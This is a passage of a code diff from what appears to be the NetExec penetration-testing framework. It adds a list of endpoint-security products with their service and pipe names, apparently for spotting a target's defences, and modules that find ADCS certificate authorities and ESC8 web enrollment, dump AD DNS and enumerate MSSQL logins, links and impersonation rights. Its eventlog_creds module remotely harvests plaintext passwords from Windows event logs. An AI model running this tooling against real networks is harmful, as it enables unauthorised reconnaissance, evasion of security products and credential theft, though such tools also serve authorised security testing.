-                    "name": "CrowdStrike\\{*",
-                    "processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
-                }
-            ],
+                {"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
+            ]
         },
         {
-            "name": "SentinelOne",
+        "name": "Ivanti Security",
             "services": [
-                {
-                    "name": "SentinelAgent",
-                    "description": "SentinelOne Endpoint Protection Agent",
-                },
-                {
-                    "name": "SentinelStaticEngine",
-                    "description": "Manage static engines for SentinelOne Endpoint Protection",
-                },
-                {
-                    "name": "LogProcessorService",
-                    "description": "Manage logs for SentinelOne Endpoint Protection",
-                },
-            ],
-            "pipes": [
-                {"name": "SentinelAgentWorkerCert.*", "processes": [""]},
-                {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
-                {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
-            ],
-        },
-        {
-            "name": "Carbon Black App Control",
-            "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
-            "pipes": [],
-        },
-        {
-            "name": "Cybereason",
-            "services": [
-                {
-                    "name": "CybereasonActiveProbe",
-                    "description": "Cybereason Active Probe",
-                },
-                {"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
-                {
-                    "name": "CybereasonBlocki",
-                    "description": "Cybereason Execution Prevention",
-                },
-            ],
-            "pipes": [
-                {
-                    "name": "CybereasonAPConsoleMinionHostIpc_*",
-                    "processes": ["minionhost.exe"],
-                },
-                {
-                    "name": "CybereasonAPServerProxyIpc_*",
-                    "processes": ["minionhost.exe"],
-                },
+                {"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
+                {"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
             ],
+            "pipes": []
         },
         {
             "name": "Kaspersky Security for Windows Server",
             "services": [
-                {
-                    "name": "kavfsslp",
-                    "description": "Kaspersky Security Exploit Prevention Service",
-                },
-                
-                {
-                    "name": "KAVFS",
-                    "description": "Kaspersky Security Service",
-                },
-
-                {
-                    "name": "KAVFSGT",
-                    "description": "Kaspersky Security Management Service",
-                },
-                
-                {
-                    "name": "klnagent",
-                    "description": "Kaspersky Security Center",
-                },
+                {"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
+                {"name": "KAVFS", "description": "Kaspersky Security Service"},
+                {"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
+                {"name": "klnagent", "description": "Kaspersky Security Center"}
             ],
             "pipes": [
-                {
-                    "name": "Exploit_Blocker",
-                    "processes": ["kavfswh.exe"],
-                },
-                
-            ],
-        },  
+                {"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
+            ]
+        },
         {
-            "name": "Trend Micro Endpoint Security",
+            "name": "Panda Adaptive Defense 360",
             "services": [
-                {
-                    "name": "Trend Micro Endpoint Basecamp",
-                    "description": "Trend Micro Endpoint Basecamp",
-                },
-                
-                {
-                    "name": "TMBMServer",
-                    "description": "Trend Micro Unauthorized Change Prevention Service",
-                },
-
-                {
-                    "name": "Trend Micro Web Service Communicator",
-                    "description": "Trend Micro Web Service Communicator",
-                },
-                
-                {
-                    "name": "TMiACAgentSvc",
-                    "description": "Trend Micro Application Control Service (Agent)",
-                },
-                {                
-                    "name": "CETASvc",
-                    "description": "Trend Micro Cloud Endpoint Telemetry Service",
-                },
-                {
-                                
-                    "name": "iVPAgent",
-                    "description": "Trend Micro Vulnerability Protection Service (Agent)",
-                }                 
+                {"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
+                {"name": "PSUAService", "description": "Panda Product Service"},
+                {"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
             ],
             "pipes": [
-                {
-                    "name": "IPC_XBC_XBC_AGENT_PIPE_*",
-                    "processes": ["EndpointBasecamp.exe"],
-                },
-                {
-                    "name": "iacagent_*",
-                    "processes": ["TMiACAgentSvc.exe"],
-                },
-                {
-                    "name": "OIPC_LWCS_PIPE_*",
-                    "processes": ["TmListen.exe"],
-                },
-                {
-                    "name": "Log_ServerNamePipe",
-                    "processes": ["LogServer.exe"],
-                },
-                {
-                    "name": "OIPC_NTRTSCAN_PIPE_*",
-                    "processes": ["Ntrtscan.exe"],
-                },
+                {"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
+                {"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
+            ]
+        },
+        {
+            "name": "SentinelOne",
+            "services": [
+                {"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
+                {"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
+                {"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
             ],
-        },  
+            "pipes": [
+                {"name": "SentinelAgentWorkerCert.*", "processes": [""]},
+                {"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
+                {"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
+            ]
+        },
         {
             "name": "Symantec Endpoint Protection",
             "services": [
-                {
-                    "name": "SepMasterService",
-                    "description": "Symantec Endpoint Protection",
-                },
-                {
-                    "name": "SepScanService",
-                    "description": "Symantec Endpoint Protection Scan Services",
-                },
-                {"name": "SNAC", "description": "Symantec Network Access Control"},
+                {"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
+                {"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
+                {"name": "SNAC", "description": "Symantec Network Access Control"}
             ],
-            "pipes": [],
+            "pipes": []
+        },
+        {
+            "name": "Rapid7",
+            "services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
+            "pipes": []
         },
         {
             "name": "Sophos Intercept X",
             "services": [
-                {
-                "name": "SntpService",
-                "description": "Sophos Network Threat Protection"
-                },
-                {
-                "name": "Sophos Endpoint Defense Service",
-                "description": "Sophos Endpoint Defense Service"
-                },
-                {
-                "name": "Sophos File Scanner Service",
-                "description": "Sophos File Scanner Service"
-                },
-                {
-                "name": "Sophos Health Service",
-                "description": "Sophos Health Service"
-                },
-                {
-                "name": "Sophos Live Query",
-                "description": "Sophos Live Query"
-                },
-                {
-                "name": "Sophos Managed Threat Response",
-                "description": "Sophos Managed Threat Response"
-                },
-                {
-                "name": "Sophos MCS Agent",
-                "description": "Sophos MCS Agent"
-                },
-                {
-                "name": "Sophos MCS Client",
-                "description": "Sophos MCS Client"
-                },
-                {
-                "name": "Sophos System Protection Service",
-                "description": "Sophos System Protection Service"
-                }
+                {"name": "SntpService", "description": "Sophos Network Threat Protection"},
+                {"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
+                {"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
+                {"name": "Sophos Health Service", "description": "Sophos Health Service"},
+                {"name": "Sophos Live Query", "description": "Sophos Live Query"},
+                {"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
+                {"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
+                {"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
+                {"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
             ],
             "pipes": [
                 {"name": "SophosUI", "processes": [""]},
                 {"name": "SophosEventStore", "processes": [""]},
                 {"name": "sophos_deviceencryption", "processes": [""]},
-                {"name": "sophoslivequery_*", "processes": [""]},
-            ],
+                {"name": "sophoslivequery_*", "processes": [""]}
+            ]
         },
         {
-            "name": "G DATA Security Client",
+            "name": "Trellix Endpoint Detection and Response (EDR)",
             "services": [
-                {
-                    "name": "AVKWCtl",
-                    "description": "Anti-virus Kit Window Control",
-                },
-                {
-                    "name": "AVKProxy", 
-                    "description": "G Data AntiVirus Proxy Service"
-                },
-                {
-                    "name": "GDScan",
-                    "description": "GDSG Data AntiVirus Scan Service",
-                },
+                {"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
+                {"name": "mfemactl", "description": "Trellix Management Service"},
+                {"name": "mfemms", "description": "McAfee Management Service"},
+                {"name": "mfefire", "description": "Trellix Firewall Core Service"},
+                {"name": "masvc", "description": "Trellix Agent Service"},
+                {"name": "macmnsvc", "description": "Trellix Agent Common Service"},
+                {"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
+                {"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"}, 
+                {"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
             ],
             "pipes": [
-                {
-                    "name": "exploitProtectionIPC",
-                    "processes": ["AVKWCtlx64.exe"],
-                },
-            ],
+                {"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
+                {"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
+                {"name": "mfefire_*", "processes": ["mfefire.exe"]},
+                {"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
+                {"name": "mfetp_*", "processes": ["mfetp.exe"]}
+            ]
         },
         {
-            "name": "Panda Adaptive Defense 360",
+            "name": "Trend Micro Endpoint Security",
             "services": [
-                {
-                    "name": "PandaAetherAgent",
-                    "description": "Panda Endpoint Agent",
-                },
-                {
-                    "name": "PSUAService", 
-                    "description": "Panda Product Service"
-                },
-                {
-                    "name": "NanoServiceMain",
-                    "description": "Panda Cloud Antivirus Service",
-                },
+                {"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
+                {"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
+                {"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
+                {"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
+                {"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
+                {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
+                {"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
+                {"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
+                {"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
             ],
             "pipes": [
-                {
-                    "name": "NNS_API_IPC_SRV_ENDPOINT",
-                    "processes": ["PSANHost.exe"],
-                },
-                {
-                    "name": "PSANMSrvcPpal",
-                    "processes": ["PSUAService.exe"],
-                },
+                {"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
+                {"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
+                {"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
+                {"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
+                {"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
+            ]
+        },
+        {
+            "name": "Windows Defender",
+            "services": [
+                {"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
+                {"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
+                {"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
             ],
+            "pipes": []
         }
-        
     ]
 }

nxc/modules/enum_ca.py

@@ -0,0 +1,107 @@
+from impacket.dcerpc.v5 import transport, epm
+from impacket.http import AUTH_NTLM
+from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket import uuid
+import requests
+
+
+class NXCModule:
+    """
+    -------
+    Module by @0xjbb, original code from Impacket rpcdump.py
+    """
+    KNOWN_PROTOCOLS = {
+        135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
+        139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
+        445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        593: {"bindstr": r"ncacn_http:%s"}
+    }
+
+    name = "enum_ca"
+    description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
+    supported_protocols = ["smb"]  # Example: ['smb', 'mssql']
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__domain = connection.domain
+        self.__lmhash = ""
+        self.__nthash = ""
+        self.__port = 135.
+        self.__stringbinding = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
+        context.log.debug(f"StringBinding {self.__stringbinding}")
+
+        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
+
+        if self.__port in [139, 445]:
+            # Setting credentials for SMB
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.setRemoteHost(connection.host)
+            rpctransport.set_dport(self.__port)
+        elif self.__port == 443:
+            # Setting credentials only for RPC Proxy, but not for the MSRPC level
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.set_auth_type(AUTH_NTLM)
+        else:
+            rpctransport.setRemoteHost(connection.host)
+
+        try:
+            entries = self.__fetchList(connection.kerberos, rpctransport)
+        except Exception as e:
+            error_text = f"Protocol failed: {e}"
+            context.log.fail(error_text)
+
+            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
+               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+                context.log.fail("This usually means the target does not allow "
+                                 "to connect to its epmapper using RpcProxy.")
+                return
+        for entry in entries:
+            tmpUUID = str(entry["tower"]["Floors"][0])
+
+            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
+                exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
+                context.log.debug(f"EXEs {exename}")
+                if exename == "certsrv.exe":
+                    context.log.highlight("Active Directory Certificate Services Found.")
+                    url = f"http://{connection.host}/certsrv/certfnsh.asp"
+                    context.log.highlight(url)
+                    try:
+                        response = requests.get(url, timeout=5)
+                        if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
+                            context.log.highlight("Web enrollment found on HTTP (ESC8).")
+                    except requests.RequestException as e:
+                        context.log.debug(e)
+                    return
+
+    def __fetchList(self, doKerberos, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        resp = epm.hept_lookup(None, dce=dce)
+        dce.disconnect()
+        return resp

nxc/modules/enum_dns.py

@@ -1,8 +1,6 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from datetime import datetime
 from nxc.helpers.logger import write_log
+from nxc.paths import NXC_PATH
 
 
 class NXCModule:
@@ -14,8 +12,6 @@ class NXCModule:
     name = "enum_dns"
     description = "Uses WMI to dump DNS from an AD DNS Server"
     supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -23,9 +19,7 @@ class NXCModule:
         self.domains = None
 
     def options(self, context, module_options):
-        """
-        DOMAIN  Domain to enumerate DNS for. Defaults to all zones.
-        """
+        """DOMAIN  Domain to enumerate DNS for. Defaults to all zones."""
         self.domains = None
         if module_options and "DOMAIN" in module_options:
             self.domains = module_options["DOMAIN"]
@@ -34,15 +28,12 @@ class NXCModule:
         if not self.domains:
             domains = []
             output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
-
-            if output:
-                for result in output:
-                    domains.append(result["Name"]["value"])
-
-                context.log.success("Domains retrieved: {}".format(domains))
+            domains = [result["Name"]["value"] for result in output] if output else []
+            context.log.success(f"Domains retrieved: {domains}")
         else:
             domains = [self.domains]
         data = ""
+
         for domain in domains:
             output = connection.wmi(
                 f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -58,7 +49,7 @@ class NXCModule:
                     rname = text.split(" ")[0]
                     rtype = text.split(" ")[2]
                     rvalue = " ".join(text.split(" ")[3:])
-                    if domain_data.get(rtype, False):
+                    if domain_data.get(rtype):
                         domain_data[rtype].append(f"{rname}: {rvalue}")
                     else:
                         domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -70,6 +61,6 @@ class NXCModule:
                         context.log.highlight("\t" + d)
                         data += "\t" + d + "\n"
 
-        log_name = "DNS-Enum-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
+        log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
         write_log(data, log_name)
-        context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+        context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/enum_impersonate.py

@@ -0,0 +1,45 @@
+class NXCModule:
+    """
+    Enumerate SQL Server users with impersonation rights
+    Module by deathflamingo
+    """
+
+    name = "enum_impersonate"
+    description = "Enumerate users with impersonation privileges"
+    supported_protocols = ["mssql"]
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        impersonate_users = self.get_impersonate_users()
+        if impersonate_users:
+            self.context.log.success("Users with impersonation rights:")
+            for user in impersonate_users:
+                self.context.log.display(f"  - {user}")
+        else:
+            self.context.log.fail("No users with impersonation rights found.")
+
+    def get_impersonate_users(self) -> list:
+        """
+        Fetches a list of users with impersonation rights.
+
+        Returns
+        -------
+        list: List of user names.
+        """
+        query = """
+        SELECT DISTINCT b.name
+        FROM sys.server_permissions a
+        INNER JOIN sys.server_principals b
+        ON a.grantor_principal_id = b.principal_id
+        WHERE a.permission_name LIKE 'IMPERSONATE%'
+        """
+        res = self.mssql_conn.sql_query(query)
+        return [user["name"] for user in res] if res else []
+
+    def options(self, context, module_options):
+        pass

nxc/modules/enum_links.py

@@ -0,0 +1,51 @@
+class NXCModule:
+    """
+    Enumerate SQL Server linked servers
+    Module by deathflamingo, NeffIsBack
+    """
+
+    name = "enum_links"
+    description = "Enumerate linked SQL Servers and their login configurations."
+    supported_protocols = ["mssql"]
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        linked_servers = self.get_linked_servers()
+        if linked_servers:
+            self.context.log.success("Linked servers found:")
+            for server in linked_servers:
+                self.context.log.display(f"  - {server}")
+        else:
+            self.context.log.fail("No linked servers found.")
+            
+        if connection.admin_privs:
+            res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
+            srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
+            if not srvs:
+                self.context.log.fail("No linked servers found.")
+                return
+            self.context.log.success("Linked servers found:")
+            for srv in srvs:
+                self.context.log.display(f"Linked server: {srv['Linked Server']}")
+                self.context.log.display(f"  - Local login: {srv['Local Login']}")
+                self.context.log.display(f"  - Remote login: {srv['Remote Login']}")
+
+    def get_linked_servers(self) -> list:
+        """
+        Fetches a list of linked servers.
+
+        Returns
+        -------
+        list: List of linked server names.
+        """
+        query = "EXEC sp_linkedservers;"
+        res = self.mssql_conn.sql_query(query)
+        return [server["SRV_NAME"] for server in res] if res else []

nxc/modules/enum_logins.py

@@ -0,0 +1,83 @@
+class NXCModule:
+    """
+    Enumerate SQL Server logins (SQL, Domain, Local users)
+    Module by deathflamingo, modified by mpgn
+    """
+
+    name = "enum_logins"
+    description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
+    supported_protocols = ["mssql"]
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        logins = self.get_logins()
+        if logins:
+            self.context.log.display("Enumerated logins")
+            self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
+            self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
+            for login_name, login_type, status in logins:
+                self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
+        else:
+            self.context.log.fail("No logins found.")
+
+    def get_domain_name(self) -> str:
+        query = "SELECT DEFAULT_DOMAIN() as domain_name;"
+        try:
+            res = self.mssql_conn.sql_query(query)
+            if res and res[0].get("domain_name"):
+                return res[0]["domain_name"].upper()
+            return ""
+        except Exception as e:
+            self.context.log.debug(f"Error querying domain name: {e}")
+            return ""
+
+    def get_logins(self) -> list:
+        domain_name = self.get_domain_name()
+        domain_prefix = f"{domain_name}\\" if domain_name else ""
+
+        query = f"""
+        SELECT 
+            name,
+            type,
+            type_desc,
+            CASE type_desc 
+                WHEN 'SQL_LOGIN' THEN 'SQL User'
+                WHEN 'WINDOWS_LOGIN' THEN 
+                    CASE 
+                        WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
+                        WHEN name LIKE '%\\%' THEN 'Local User'
+                        ELSE 'Local User'
+                    END
+                WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
+                WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
+                WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
+                ELSE type_desc
+            END as login_type,
+            is_disabled,
+            create_date
+        FROM sys.server_principals 
+        WHERE type IN ('S', 'U', 'G', 'C', 'K')
+        AND name NOT LIKE '##%'
+        ORDER BY login_type, name;
+        """
+        try:
+            res = self.mssql_conn.sql_query(query)
+            if res:
+                logins = []
+                for login in res:
+                    status = "DISABLED" if login.get("is_disabled") else "ENABLED"
+                    logins.append((login["name"], login["login_type"], status))
+                return logins
+            return []
+        except Exception as e:
+            self.context.log.fail(f"Error querying logins: {e}")
+            return []
+
+    def options(self, context, module_options):
+        pass

nxc/modules/enum_trusts.py

@@ -0,0 +1,17 @@
+
+
+class NXCModule:
+    """
+    Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
+    Module by Brandon Fisher @shad0wcntr0ller
+    """
+
+    name = "enum_trusts"
+    description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
+    supported_protocols = ["ldap"]
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")

nxc/modules/eventlog_creds.py

@@ -0,0 +1,222 @@
+import re
+from impacket.dcerpc.v5 import transport, even6
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.dcerpc.v5.epm import hept_map
+from nxc.helpers.even6_parser import ResultSet
+
+
+class NXCModule:
+    """
+    Module by @lodos2005
+    This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
+    """
+    name = "eventlog_creds"
+    description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
+    supported_protocols = ["smb"]  # Example: ['smb', 'mssql']
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        self.method = "execute"
+        self.limit = None
+
+    def options(self, context, module_options):
+        """ 
+        METHOD         EventLog method (Execute or RPCCALL), default: execute
+        M              Alias for METHOD
+        LIMIT          Limit of the number of records to be fetched, default: unlimited
+        L              Alias for LIMIT
+        """
+        if "METHOD" in module_options:
+            self.method = module_options["METHOD"]
+        if "M" in module_options:
+            self.method = module_options["M"]
+        if "LIMIT" in module_options:
+            self.limit = int(module_options["LIMIT"])
+        if "L" in module_options:
+            self.limit = int(module_options["L"])
+
+    def find_credentials(self, content, context):
+        # remove unnecessary words
+        content = content.replace("\r\n", "\n")
+
+        # sort and unique lines
+        content = "\n".join(sorted(set(content.split("\n"))))
+
+        regexps = [
+            # "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
+            r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
+            # "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
+            r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
+            # schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
+            r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
+            # wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
+            r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
+            # psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
+            r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
+            # generic username on command line
+            r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
+            # generic password on command line
+            r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
+        ]
+        # Extracting credentials
+        for line in content.split("\n"):
+            for reg in regexps:
+                # Remove unnecessary words
+                line_stripped = line.replace("/add", "") \
+                    .replace("/active:yes", "") \
+                    .replace("/delete", "") \
+                    .replace("/domain", "") \
+                # Remove command lines that were executed with nxc
+                line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
+
+                # Use regex to find credentials
+                match = re.search(reg, line_stripped, re.IGNORECASE)
+                if match:
+                    # eleminate false positives
+                    # C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
+                    if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
+                        # if password is found but username is not found, and password is shorter than 6 characters, ignore it
+                        continue
+                    if not match.groupdict().get("password") and match.groupdict().get("username"):
+                        # if username is found but password is not found. we need? ignore it
+                        continue
+                    # C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
+                    if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
+                        # if username and password is shorter than 6 characters, ignore it
+                        continue
+
+                    context.log.highlight("Credentials found! " + line.strip())
+                    if match.groupdict().get("username"):
+                        context.log.highlight("Username: " + match.group("username"))
+                    if match.groupdict().get("password"):
+                        context.log.highlight("Password: " + match.group("password"))
+                    break
+
+    def on_admin_login(self, context, connection):
+        content = ""
+        if self.method.lower().startswith("e"):
+            limit_str = f"/c:{self.limit}" if self.limit is not None else ""
+            # https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
+            commands = [
+                f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text  /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
+                f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
+            ]
+            for command in commands:
+                context.log.debug("Execute Command: " + command)
+                content += connection.execute(command, True)
+        else:
+            msevenclass = MSEven6Trigger(context)
+            target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+            msevenclass.connect(
+                username=connection.username,
+                password=connection.password,
+                domain=connection.domain,
+                lmhash=connection.lmhash,
+                nthash=connection.nthash,
+                target=target,
+                doKerberos=connection.kerberos,
+                dcHost=connection.kdcHost,
+                aesKey=connection.aesKey,
+                pipe="eventlog"
+            )
+            for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
+                if record is None:
+                    continue
+                try:
+                    xmlString = ResultSet(record).xml()
+                    regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
+                    match = re.search(regexp, xmlString, re.IGNORECASE)
+                    if match and match.groupdict().get("CommandLine"):
+                        content += "CommandLine: " + match.group("CommandLine") + "\n"
+                except Exception as e:
+                    context.log.error(f"Error: {e}")
+
+        self.find_credentials(content, context)
+
+
+class MSEven6Trigger:
+    def __init__(self, context):
+        self.context = context
+        self.dce = None
+
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
+        rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
+        if hasattr(rpctransport, "set_credentials"):
+            rpctransport.set_credentials(
+                username=username,
+                password=password,
+                domain=domain,
+                lmhash=lmhash,
+                nthash=nthash,
+                aesKey=aesKey,
+            )
+        if doKerberos:
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+        rpctransport.setRemoteHost(target)
+        self.dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
